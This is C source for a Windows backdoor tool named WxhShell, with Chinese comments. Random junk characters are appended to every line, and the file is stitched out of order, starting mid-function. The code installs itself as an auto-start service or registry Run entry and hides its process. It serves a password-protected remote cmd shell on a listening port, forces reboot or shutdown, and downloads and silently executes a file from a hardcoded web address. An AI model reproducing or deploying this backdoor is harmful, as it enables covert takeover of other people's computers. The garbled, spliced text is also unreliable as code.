    else { ;or> Sh7  
    closesocket(wsh); f.u{;W  
    ExitThread(0); ,%:`Ll t]$  
    } -Pvt+I>  
    break; {=(4  
    } A,iXiDb3pK  
  // 关机 w}E?FEe.  
  case 'd': { %tu{`PN<  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); w%$n)7<*  
    if(Boot(SHUTDOWN)) 0lBl5k e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sG}9l1  
    else { O_:Q#  
    closesocket(wsh); 3 C[ ;2  
    ExitThread(0); X)|%[aX}q  
    } o3`Z@-.G  
    break; q!7\`>.2:{  
    } ?/u&U\P  
  // 获取shell (+ >n/I6  
  case 's': { 3b_#xr-  
    CmdShell(wsh); ]>:>":<:  
    closesocket(wsh); LZ@^ A]U  
    ExitThread(0); }^iE|YKz  
    break; B 51LZP  
  } tF;aB*  
  // 退出 4$;fj1!Z:  
  case 'x': { F )tNA?p)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  ^@ux  
    CloseIt(wsh); }cf-r>WaR  
    break; >0m-S :lk  
    } !cq4+0{O;&  
  // 离开 .p5*&i7  
  case 'q': { "y`?KY$[N  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 00Rk%QV  
    closesocket(wsh); tF'67,~W  
    WSACleanup(); vXf#gX!Y  
    exit(1); .5T7O_%FP  
    break; WH/a#F  
        } Ylf6-FbF  
  } hVID~L$  
  } \jfW$TtZm  
jXdn4m/O  
  // 提示信息 E8503  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  aCTVY1  
} $~2A o[  
  } Fb*;5VNU.  
2<'gX>TW  
  return; $X{& KLM[  
} [R~HhM  
ZWFH5#=  
// shell模块句柄 J d`NS3;*p  
int CmdShell(SOCKET sock) 7,jqA"9  
{ 7Jqp2\  
STARTUPINFO si; $~j]/U  
ZeroMemory(&si,sizeof(si)); [IYs4Y5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; HsXFglQ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ''(T3;^ +  
PROCESS_INFORMATION ProcessInfo; 0 Hq$h  
char cmdline[]="cmd"; 9 (&!>z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6-^+btl)#  
  return 0;  "3v%|  
} d,>l;l  
V2bod=&Lc  
// 自身启动模式 ~:0h o  
int StartFromService(void) .=NK^  
{ I 7TMv.  
typedef struct W}e5 4-lu  
{ fpqKa r  
  DWORD ExitStatus; D/)xe:  
  DWORD PebBaseAddress; _Ih~'Y Fd  
  DWORD AffinityMask; abK/!m[q  
  DWORD BasePriority; B^OhL!*tI  
  ULONG UniqueProcessId; fGxa~Unx  
  ULONG InheritedFromUniqueProcessId; WT0U)x( m5  
}   PROCESS_BASIC_INFORMATION; b :+ X3  
|ST&,a$(  
PROCNTQSIP NtQueryInformationProcess; =]"PSY7p  
abF_i#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; L2:C6Sc  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %URyGS]*  
5n"'M&Ce  
  HANDLE             hProcess; W[vak F  
  PROCESS_BASIC_INFORMATION pbi; ~vt8|OOo0  
[m4<j  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ':fVb3A[*d  
  if(NULL == hInst ) return 0;  [g/g(RL  
H<q:+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,JjTzO  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); J0x)m2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $V+ze*ra  
r9QNE>UG  
  if (!NtQueryInformationProcess) return 0; nqV7Db~  
[`:\(( 8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <vAg\Tv:S  
  if(!hProcess) return 0; p'R}z|d)  
6Y=$7%z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ycH=L8  
y@(U 6ZOyx  
  CloseHandle(hProcess); +yYz;, \  
?2i``-|Wa  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); s5[ Cr"q7B  
if(hProcess==NULL) return 0; 7[K$os5al  
4A*' 0!H  
HMODULE hMod; yNqrL?i  
char procName[255]; dtnAMa5$T  
unsigned long cbNeeded; .IgCC_C9  
Hu;#uAnxQ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); a([cuh.  
ruA!+@or  
  CloseHandle(hProcess); S4\T (  
hxv/285B  
if(strstr(procName,"services")) return 1; // 以服务启动 u=4tW:W,  
9SU;c l  
  return 0; // 注册表启动 .qHgQ_%  
} r..Rh9v/=E  
HWc=.Qq  
// 主模块 uYs+x X_  
int StartWxhshell(LPSTR lpCmdLine) *f,EDSN1@d  
{ +DU}f;O8v  
  SOCKET wsl; 8J@REP4  
BOOL val=TRUE; jbG #__#_  
  int port=0; ~< k'{  
  struct sockaddr_in door; 8J>s|MZ  
.<tb*6rX>  
  if(wscfg.ws_autoins) Install(); PB`94W  
)Z]8SED  
port=atoi(lpCmdLine); 9 Z4H5!:(  
T%:}/@  
if(port<=0) port=wscfg.ws_port; YUc&X^O  
qEywExdiu  
  WSADATA data; J0{0B=d;  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Er%nSH^"  
0uj3kr?cv  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   k<AnTboa  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); WyO10yvR  
  door.sin_family = AF_INET; M,7v}[Tbl  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); v_b%2;<1  
  door.sin_port = htons(port); OpiN,>;  
**oN/5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "EA%!P:d,  
closesocket(wsl); a*o=,!  
return 1; UD .$C  
} b2ZKhS8  
V RT| OUq  
  if(listen(wsl,2) == INVALID_SOCKET) { [t>}M6?R:  
closesocket(wsl); 4Sw)IU~K(  
return 1; ['{mW4i  
} &'i>5Y  
  Wxhshell(wsl); 6)Kg!.n%f  
  WSACleanup(); _57i[U r  
38rC; 6  
return 0; ?*Jv&f#  
&,bJ]J)8O  
} 2'N%KKmJL  
B1\}'g8%f  
// 以NT服务方式启动 Yz[^?M%(D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3>-^/  
{ +$ P0&YaQ  
DWORD   status = 0; n)[{nkS6[  
  DWORD   specificError = 0xfffffff; )f,iey\-  
yv&&x.!.Z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Fd0R?d  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; O$KLQ'0"n  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; l+RBe<Mq  
  serviceStatus.dwWin32ExitCode     = 0; (rvK@  
  serviceStatus.dwServiceSpecificExitCode = 0; +1_NB;,e  
  serviceStatus.dwCheckPoint       = 0; "*<9)vQ6|  
  serviceStatus.dwWaitHint       = 0; Ij4oH  
ss.wX~I  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <Knl6$B  
  if (hServiceStatusHandle==0) return; /u5MAl.<[  
C#+Gkzq  
status = GetLastError(); 6"z:s-V  
  if (status!=NO_ERROR) &h')snp:#  
{ &pV'/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; RlC|xj"l%  
    serviceStatus.dwCheckPoint       = 0; O*X ]oX  
    serviceStatus.dwWaitHint       = 0; A-qdTJP  
    serviceStatus.dwWin32ExitCode     = status; pm@Mlwg`1  
    serviceStatus.dwServiceSpecificExitCode = specificError; zcy!YB  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); >]s|'HTxF  
    return; G-~+FnUC  
  } 8-+Ce;h  
]haZT\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %?^IS&]Z  
  serviceStatus.dwCheckPoint       = 0; }[\l$sS  
  serviceStatus.dwWaitHint       = 0; }e  s  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); UXvUU^k"v  
} :!n_a*.{  
1=}+NK!  
// 处理NT服务事件,比如:启动、停止 9aHV~5  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ]-&A )M6  
{ V+(1U|@~  
switch(fdwControl) !0i  
{ "@#^/m)  
case SERVICE_CONTROL_STOP: Rq|7$O5  
  serviceStatus.dwWin32ExitCode = 0; >;LXy  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; M2l0x @|  
  serviceStatus.dwCheckPoint   = 0; iP)`yB5`  
  serviceStatus.dwWaitHint     = 0; scT,yNV  
  { $qV, z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V9mqJRFJ:  
  } (p>?0h9[  
  return; TgoaEufS<  
case SERVICE_CONTROL_PAUSE: ]ri5mnB  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; )[oegfnn-  
  break; N2#Wyt8MC  
case SERVICE_CONTROL_CONTINUE: '1'De^%6W  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Y23- Im  
  break; oc7&iL  
case SERVICE_CONTROL_INTERROGATE: AY<(`J{  
  break; H Rn Q*  
}; %-1-y]R|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m:SG1m_6  
} zk#"n&u0  
#ueWU  
// 标准应用程序主函数 oR}cE Sr  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) i&=I5$  
{ <Nwqt[.  
JFewOt3  
// 获取操作系统版本 (E[c-1s  
OsIsNt=GetOsVer(); ]Dec/Nnj  
GetModuleFileName(NULL,ExeFile,MAX_PATH); y(^t&tgjS  
: 7>oFz  
  // 从命令行安装 '{*{  
  if(strpbrk(lpCmdLine,"iI")) Install(); _UI*W&*  
xq$(=WPI  
  // 下载执行文件 `ECY:3"$KA  
if(wscfg.ws_downexe) { >xsbXQ>.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 41Ga-0p  
  WinExec(wscfg.ws_filenam,SW_HIDE); w`KqB(36  
} 2@~.FBby7@  
!LJEo>D  
if(!OsIsNt) { u a%@Ay1|  
// 如果时win9x,隐藏进程并且设置为注册表启动 kD;1+lNz  
HideProc(); wIQ~a  
StartWxhshell(lpCmdLine); _@2}zT  
} !>RDHu2n  
else 71b0MHNkvv  
  if(StartFromService()) E.LD1Pm0  
  // 以服务方式启动 aG_@--=  
  StartServiceCtrlDispatcher(DispatchTable); M$YU_RPl+  
else Zaime  
  // 普通方式启动 H?oBax:  
  StartWxhshell(lpCmdLine); B! +rO~  
ad)jw:n  
return 0; )SU\s+"M  
} hQ7-m.UZw  
4*Uzomb?q  
4|U$ON?x  
! [3  /!  
=========================================== 5-*hAOThg  
Y=83r]%  
nSy{ {d  
RISDjU3  
F+@/"1c  
{#`O'F>  
" Y8v13"P6  
{=I:K|&  
#include <stdio.h> I-Q@v`  
#include <string.h> aC90IJ8^  
#include <windows.h> 0Wkk$0h9  
#include <winsock2.h> (1IYOlG4  
#include <winsvc.h> A>\5fO  
#include <urlmon.h> 4t 5i9+h  
|VX )S!  
#pragma comment (lib, "Ws2_32.lib") u*}ltR~/  
#pragma comment (lib, "urlmon.lib") YuXCRw9p;  
<?Ln`,Duk  
#define MAX_USER   100 // 最大客户端连接数 pl }nb Y  
#define BUF_SOCK   200 // sock buffer C]EkVcKFA  
#define KEY_BUFF   255 // 输入 buffer *c<6 Er>s  
{'8td^JEE  
#define REBOOT     0   // 重启 o%yfR.M6$  
#define SHUTDOWN   1   // 关机 !),eEy  
v*";A  
#define DEF_PORT   5000 // 监听端口 t]IHQ8  
y`,;m#frT  
#define REG_LEN     16   // 注册表键长度 jFDVd;#CS  
#define SVC_LEN     80   // NT服务名长度 D~ogq]  
mO=A50_&,Q  
// 从dll定义API 'GI| t  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); m>{a<N  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -=cxUDB  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); TUBpRABH  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~] &yHzp2  
`- HI)-A97  
// wxhshell配置信息 TTa$wiW7'  
struct WSCFG { HKL/ D  
  int ws_port;         // 监听端口 !F:ANoaS  
  char ws_passstr[REG_LEN]; // 口令 vX@T Zet0  
  int ws_autoins;       // 安装标记, 1=yes 0=no /S{U|GBB%r  
  char ws_regname[REG_LEN]; // 注册表键名 6& (bL<8b  
  char ws_svcname[REG_LEN]; // 服务名 dAWB.#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 l|81_BC"  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 T095]*Hm  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^GpLl   
int ws_downexe;       // 下载执行标记, 1=yes 0=no de/oK c  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" DaS~bweMw  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 mv,5Q6!  
29AE B  
}; 2$OV`qy@?  
t zShds  
// default Wxhshell configuration :5sjF:@  
struct WSCFG wscfg={DEF_PORT, g#k@R'7E  
    "xuhuanlingzhe", \ 5.nr*5  
    1, x2,;ar\D  
    "Wxhshell", h2-v.Tjf  
    "Wxhshell", }_Ci3|G>%D  
            "WxhShell Service", 7qSnP 30}  
    "Wrsky Windows CmdShell Service", Sse%~:FL  
    "Please Input Your Password: ", 7@&mGUALO  
  1, 9^u}~e #(  
  "http://www.wrsky.com/wxhshell.exe",  J8-K  
  "Wxhshell.exe" ' 7Mz]@  
    }; Ze!/b|`xI  
O _ C<h  
// 消息定义模块 ,\?s=D{  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6gabnW3  
char *msg_ws_prompt="\n\r? for help\n\r#>"; v2IcDz`}7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; CcTdLq  
char *msg_ws_ext="\n\rExit."; (mr*Thy`@  
char *msg_ws_end="\n\rQuit."; +zwS[P@  
char *msg_ws_boot="\n\rReboot..."; :_,a%hb+8  
char *msg_ws_poff="\n\rShutdown..."; 9Af nMD  
char *msg_ws_down="\n\rSave to "; ~470LgpO1  
K?nQsT;3p  
char *msg_ws_err="\n\rErr!"; @d5$OpL$%  
char *msg_ws_ok="\n\rOK!"; J&Db-  
?)ct@,Ek$  
char ExeFile[MAX_PATH]; .i {yW  
int nUser = 0; 2TG2<wqvE  
HANDLE handles[MAX_USER]; 1M.#7;#B3  
int OsIsNt; 2$o#b .  
&q&~&j'[  
SERVICE_STATUS       serviceStatus; $Zr \$z2  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; x<`^4|<  
Y<IuwS  
// 函数声明 Ee_?aG e&  
int Install(void); /6rQ.+|).  
int Uninstall(void); h<V,0sZ&:  
int DownloadFile(char *sURL, SOCKET wsh); o|u4C{j  
int Boot(int flag); G1-r$7\  
void HideProc(void); T6b~uE  
int GetOsVer(void); F Uz1P  
int Wxhshell(SOCKET wsl); nuDu  
void TalkWithClient(void *cs); <ne?;P1L  
int CmdShell(SOCKET sock); CA1Jjm=  
int StartFromService(void); S}fQis  
int StartWxhshell(LPSTR lpCmdLine); !?R#e`}  
k.7!)jL7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); VDro(?p8Z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /0cm7[a?  
<)pPq+  
// 数据结构和表定义 ^rs{1S  
SERVICE_TABLE_ENTRY DispatchTable[] = OLtXk  
{ mU(v9Jpf7  
{wscfg.ws_svcname, NTServiceMain}, rizjH+  
{NULL, NULL} MQDLC7Y.p5  
}; 7O8 @T-f+2  
E2 FnC}#W  
// 自我安装 $vK,Gugcx  
int Install(void)  _X  
{ .Tm.M7  
  char svExeFile[MAX_PATH]; rg ; 4INs#  
  HKEY key; }Ml BmD  
  strcpy(svExeFile,ExeFile); E=8GSl/Jx  
w2!:>8o:  
// 如果是win9x系统,修改注册表设为自启动 e$teh` p3  
if(!OsIsNt) { DE7y\oO]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "N ">RjJ"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); U'msHF  
  RegCloseKey(key); T{2)d]Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W}N7jPO}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #6 ni~d&0  
  RegCloseKey(key); $IS!GS&:  
  return 0; Wuo:PX'/9  
    } H)h^|A/vO  
  } *DvX|| `&  
} g-jg;Ri  
else { oOc-1C y  
dl3;A_ 2  
// 如果是NT以上系统,安装为系统服务 +*xc4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); r`"T{o\e   
if (schSCManager!=0) Tt9cX}&&  
{ k q]E@tE*3  
  SC_HANDLE schService = CreateService {]U \HE1w  
  ( [3sZ=)G  
  schSCManager, E<}sGzMc  
  wscfg.ws_svcname, ev0>j4Q  
  wscfg.ws_svcdisp, 8ki3>"!A  
  SERVICE_ALL_ACCESS, mR|5$1[b  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4!OGNr$V@  
  SERVICE_AUTO_START, pEz^z9  
  SERVICE_ERROR_NORMAL, WtKKdL  
  svExeFile, ?&zi{N  
  NULL, r7].48D  
  NULL, 5!S#}=f=  
  NULL, gvc/Z <Y  
  NULL, +}1zw<  
  NULL mI{Fs|9h  
  ); JWaWOk(t=?  
  if (schService!=0) q5S_B]|  
  { { `Z~T&}~T  
  CloseServiceHandle(schService); <"6\\#}VG  
  CloseServiceHandle(schSCManager); [3qH? 2&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (]\p'%A)  
  strcat(svExeFile,wscfg.ws_svcname); TQKcPVlE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { wdf;LM  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0>Td4qr+u  
  RegCloseKey(key); N P+ vi@Ud  
  return 0; {$Uj&/IC  
    } F-b]>3r  
  } 'K02T:\iZ  
  CloseServiceHandle(schSCManager); l`l6Y>c*]  
}  ^|zag  
} K!qOO  
UCjx   
return 1; KQb&7k .  
} V_ , `?>O  
iPV-w_HQ  
// 自我卸载 &]LpGl  
int Uninstall(void) Hc@_@G  
{ - AgD  
  HKEY key; k!z<=WA  
]Jm\k'u[  
if(!OsIsNt) { u=qaz7E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U?Dr0wD;[  
  RegDeleteValue(key,wscfg.ws_regname); /O.Ql ,6[  
  RegCloseKey(key); rQlQ^W$=?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %7 yQ0'P  
  RegDeleteValue(key,wscfg.ws_regname); ,u^{zYoW  
  RegCloseKey(key); rv(N0p/  
  return 0; aem gGw<  
  } R`DzVBLl  
} kr~n5WiAZ  
} boCi*]  
else { #:N#i  
[;7zg@Sa  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); nA_'j l  
if (schSCManager!=0) ZklpnL*!  
{ ^'`(E_2u  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); i!8"T#  
  if (schService!=0) ME0u|_dPjz  
  { T [xIn+w  
  if(DeleteService(schService)!=0) { @VW1^{.do^  
  CloseServiceHandle(schService); AZ4?N.X?  
  CloseServiceHandle(schSCManager); 7gV9m9#  
  return 0; -C(Yl=  
  } iX{2U lF7  
  CloseServiceHandle(schService); &y1iLk h^  
  } <XG]aYBR  
  CloseServiceHandle(schSCManager); 9 Xl#$d5  
} )-1e} VF(U  
} YLTg(*  
T%& vq6  
return 1; zj] g^c;  
} f OR9N/  
u&c%L0)E&  
// 从指定url下载文件 ?B;7J7T  
int DownloadFile(char *sURL, SOCKET wsh) I<sUB4T>#W  
{ Ssz;d&93  
  HRESULT hr; {wA8!5Gu  
char seps[]= "/"; bo90;7EK8  
char *token; xR%NiYNQz  
char *file; 2[3t7C  
char myURL[MAX_PATH]; >itabG-&  
char myFILE[MAX_PATH]; zI,Qc60B  
Y DHP-0?  
strcpy(myURL,sURL); (pv}>1  
  token=strtok(myURL,seps); '" %0UflJS  
  while(token!=NULL) f42F@M(:  
  { ~7KH/%Z-  
    file=token; wG7>2*(  
  token=strtok(NULL,seps); @:PMb Ub  
  } :x[()J~N  
ezL1,GT  
GetCurrentDirectory(MAX_PATH,myFILE); !*~QB4\2b  
strcat(myFILE, "\\"); hx;kNcPbI  
strcat(myFILE, file); XC~"T6F  
  send(wsh,myFILE,strlen(myFILE),0); 1aIGC9xQ`  
send(wsh,"...",3,0); 4 FZR }e\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Q>+rjN;  
  if(hr==S_OK) k'|yUJ,  
return 0; +x`pWH]2  
else =oh%-Sh:  
return 1; ko[d axUB  
=hb)e}l  
} fPKpV`Hr3  
U`EOun ,  
// 系统电源模块 _+aR| AEC  
int Boot(int flag) '{.4~:  
{ 4.wrY6+V  
  HANDLE hToken; %5zIh[!1$  
  TOKEN_PRIVILEGES tkp; M[z1B!rT  
#o} /'  
  if(OsIsNt) { _<mY|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); v9r.w-  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }PBL  
    tkp.PrivilegeCount = 1; $'5rS$]a/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;a@riPqx!  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >lqo73gM9  
if(flag==REBOOT) { RV{%@1Pu  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) c-(dm:  
  return 0; vxk0@k_  
} # }}6JM  
else { vdgK3I  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _6c/,a8;*J  
  return 0; B@ufrQ#Y.  
} z a_0-G%C2  
  } Tq )hAZ  
  else { \}.bTca  
if(flag==REBOOT) { W$,/hB& z  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %>9L}OAm  
  return 0; [QQM/?  
} _oG%bNM  
else { nIlTzrf6  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) e_3jyA@v  
  return 0; ,:J[|9  
} P/[RH e  
} `@1e{ ?$  
KGc.YUoE  
return 1; J %A=  
} l(_|CkcZ  
F7b% x7b  
// win9x进程隐藏模块 =X5w=(&  
void HideProc(void) >m;nt}f'+  
{ PknKzrEG:>  
0L32sF y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #T>?g5I  
  if ( hKernel != NULL ) u tkdL4G}'  
  { aj1,h)P  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); dr&G>  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); DMDtry?1:  
    FreeLibrary(hKernel); ^J hs/HV  
  } -?1R l:rM  
b3[!1i  
return; 6E1~dK0t  
} x;bA\b  
`w >D6K+  
// 获取操作系统版本 v,QvCozOz  
int GetOsVer(void) O9?.J,,mVh  
{ )hQ]>o@i{  
  OSVERSIONINFO winfo; #*y.C[^5{  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7 qn=W  
  GetVersionEx(&winfo); Z]DZ:dF  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) vuY X0&  
  return 1; McS]aJfrk  
  else ZD|F"v.  
  return 0; H$WD7/?j  
} 0n2H7}Uq  
Gukvd6-g9b  
// 客户端句柄模块 Srmr`[i  
int Wxhshell(SOCKET wsl) ',]Aj!q  
{ L'KKU4zj  
  SOCKET wsh; Qt>kythi  
  struct sockaddr_in client; jwLZC  
  DWORD myID; d(RMD  
f2o6GC_  
  while(nUser<MAX_USER) Y7q Q` |  
{ lo6upir ZX  
  int nSize=sizeof(client); K2n#;fY %  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); DQ/rx`BG  
  if(wsh==INVALID_SOCKET) return 1; u$5.GmKm  
8Ara^Xh}q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); pYAKA1F  
if(handles[nUser]==0) }m^^6h  
  closesocket(wsh); r 9M3rj]  
else QbSLSMoL  
  nUser++; acUyz2x  
  } "m6G;cv  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); mDv<d=p!  
o(?9vU  
  return 0; 8mdVh\i!Kf  
} Ue Z(@6_:  
9yTDuhJ6  
// 关闭 socket Ho*B<#&(A|  
void CloseIt(SOCKET wsh) 90iveb21}  
{ jxm#4  
closesocket(wsh); u0k'Jh]K  
nUser--; HfH_jnR*  
ExitThread(0); 9SA%'  
} %rrD+  
%WR"qd&HSh  
// 客户端请求句柄 @Z#h?:  
void TalkWithClient(void *cs) H$^9#{  
{ SD%3B!cpX  
8;<aco/62  
  SOCKET wsh=(SOCKET)cs; .9z}S=ZK  
  char pwd[SVC_LEN]; 1~E4]Ef:W  
  char cmd[KEY_BUFF]; @mg5vt!$`  
char chr[1]; 2g5 4<G*e  
int i,j; V,c^Vq y  
'?.']U,: $  
  while (nUser < MAX_USER) { 5$> buYF  
EFI!b60mc  
if(wscfg.ws_passstr) { gG.+3=  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xfX|AC  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T1Z*>(M  
  //ZeroMemory(pwd,KEY_BUFF);  Glx{Zu=  
      i=0; 6?.S-.Mr  
  while(i<SVC_LEN) { 6nsb)7a  
0i8\Lu6  
  // 设置超时 #pW!(tfN^a  
  fd_set FdRead; ~~"U[G1  
  struct timeval TimeOut; 9+<A7PM1T  
  FD_ZERO(&FdRead); <Tbl |9  
  FD_SET(wsh,&FdRead); p^w)@^f  
  TimeOut.tv_sec=8; rbv  
  TimeOut.tv_usec=0; Jc5Y Gj7  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /5epDDP-t5  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \Jc}Hzug  
nI(w7qhub  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "^{Hta  
  pwd=chr[0]; >Q"3dw  
  if(chr[0]==0xd || chr[0]==0xa) { wfu`(4  
  pwd=0; =I&BO[d  
  break; A/lznBHR  
  } _*sd#  
  i++; n[i:$! ,  
    } [GK## z'5  
,d.5K*?aI  
  // 如果是非法用户,关闭 socket In:V.'D/>t  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0%HAa|L,,  
} L:@COy  
f0%'4t  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~@<o-|#  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wpQp1){%Q  
?=_w5D.3J  
while(1) { kDRxu!/  
@_c&lToj_  
  ZeroMemory(cmd,KEY_BUFF); g.;2N9  
&F[N$6:v  
      // 自动支持客户端 telnet标准   N(J#<;!yb  
  j=0; '?NMQ  
  while(j<KEY_BUFF) { , .=7{y~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2p 7;v7)y  
  cmd[j]=chr[0]; f` -vnh^+  
  if(chr[0]==0xa || chr[0]==0xd) { e iH&<AH  
  cmd[j]=0; ' < >Q20  
  break; I'n}6D.M  
  } U_Mag(^-  
  j++; -<T> paE9  
    } `GY]JVW  
qn{9vr  
  // 下载文件 EUgKJ=jw  
  if(strstr(cmd,"http://")) { Dcs O~mg  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #-"C_~-MH  
  if(DownloadFile(cmd,wsh)) p R`nQM-D  
